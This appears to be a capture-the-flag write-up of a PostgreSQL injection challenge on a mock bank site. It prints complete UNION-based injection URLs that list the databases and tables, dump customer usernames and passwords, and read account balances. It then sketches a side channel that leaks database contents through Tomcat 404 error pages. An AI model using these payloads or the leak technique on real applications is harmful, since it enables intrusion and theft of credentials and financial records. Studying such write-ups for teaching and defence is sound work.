This was an interesting PostgreSQL injection challenge.
What is Jeff Moss’ checking account balance?
Bank Site – http://140.197.217.85:8080/boa_bank
User:blacksheep
Password:luvMeSomeSheep

The username and password is to get around the .htaccess that protects the site. There was a page with the zip code search on it. The zip parameter was vulnerable to SQL injection (verified by entering a ‘ character in the zip parameter). With this information you

SQL injection in zip parameter. http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20or%201=1–&Submit.x=0&Submit.y=0

List of databases can be found by: http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20datname,datname,datname,datname,1,datname%20FROM%20pg_database&Submit.x=0&Submit.y=0

Names of databases
——————
template1
template0
postgres
boa_bank

http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20relname,A.attname,relname,A.attname,1,relname%20FROM%20pg_class%20C,pg_namespace%20N,pg_attribute%20A,pg_type%20T%20WHERE%20(C.relkind=’r’)%20AND%20(N.oid=C.relnamespace)%20AND%20(A.attrelid=C.oid)%20AND%20(A.atttypid=T.oid)%20AND%20(A.attnum%3E0)%20AND%20(NOT%20A.attisdropped)%20AND%20(N.nspname%20ILIKE%20’public’)&Submit.x=0&Submit.y=0

With this query it’s easy to evaluate the type of the parameter as well as the position. This was done by the error message that indicated an “int cannot be compared to text”.

Table,column_name
—————–
transaction,amount
transaction,account
transaction,id
transaction,date
branch,id
branch,zip
branch,city
branch,name
branch,street
branch,phone
branch,state
customer,id
customer,firstname
customer,password
customer,lastname
customer,username
customer,email
account,id -> int
account,owner -> int
account,account -> string
account,balance
account,type -> checking/savings
sqlmapfile,data
test2234,t
hkk,t
mydata,t
mytable,mycol
hk,hk
sonic,sonic

Getting all customers (Jeff Moss can’t be found in the list though)
http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20C.firstname,C.lastname,C.username,C.password,1,C.email%20FROM%20customer%20C&Submit.x=0&Submit.y=0
Lots of complaints were heard that the record wasn’t present for Jeff Moss. But if you just filtered by ‘checking’ account, you would see that it was all the same for all users. The following query gives the list of all checking accounts…but if you notice the value is $0.00 for all checking accounts so Jeff Moss’ account should be 0.00 too!!!

http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=5%20%20union%20SELECT%20A.account,A.type,A.type,cast(A.balance%20as%20text),A.owner,A.account%20FROM%20account%20A%20where%20A.type%20ILIKE%20’checking’&Submit.x=0&Submit.y=0

Fun times!

A very typical scenario is that by default the Tomcat Servers tend to have a 404 Error page that displays the name of the file that was requested and not found. It seems to me that though display of such pages might be considered as merely an informational item for the purpose of any security test…this definitely presents a risk.
E.g., take this scenario.
1. The attackers has a SQL injection vulnerability in an application
2. The App server and DB can reach each other
3. The DB cannot directly reach the attacker and his system (on any port outbound)
4. The app server issues 404 error messages with the name of the file being disclosed in the 404 error message (e.g., The requested resource indexblah.html was not found).
5. The attacker can see the responses to the injected SQL queries (i.e., the injection is not blind).

Assuming that the DB accesses have been tightly controlled and you can’t get much access to any tables except the current one. This can be exploited as follows:
Invoke a SQL query (in the injection string) on the DB to request a page from the app server based on the contents of the DB such as send me /blahusername, /blahpassword where /blah is a string the attacker’s put in to make sure that such a resource doesn’t actually exist on the app server and username and password are columns or DB names from the DB. These error messages will be reflected in the response to the SQL query to the attacker. This could create an interesting side-channel attack whereby even though the data from the DB doesn’t actually reach the attacker, it can be inferred from the 404 – error messages.

___________       ______________        __________
| Attacker| <===> | App server | <=====>|  DB    |
___________       ______________        __________
      1  ----------> 2  -----------------> 3
                     5  <----------------  4
                     6  -----------------> 7
      10 <---------- 9 <-----------------  8   
1. Attacker sends sql to make the db query the app server for a non-existent page
2. The app server sends this sql query to the DB
3. The DB receives this SQL query and acts on it
4. The HTTP query for a missing resource is sent to the app server
5. App server looks up the resource and can't find it
6. The App server responds with a 404 /blahusername not found
7. The response recd is put in the SQL query response
8. The SQL query response is sent to the app server
9. The App server received the SQL query response (404 /blahusername not found as a line in there)
10. The attacker receives the 404 response with the data from the username in the 404 error message  

An interesting attack vector to say the least!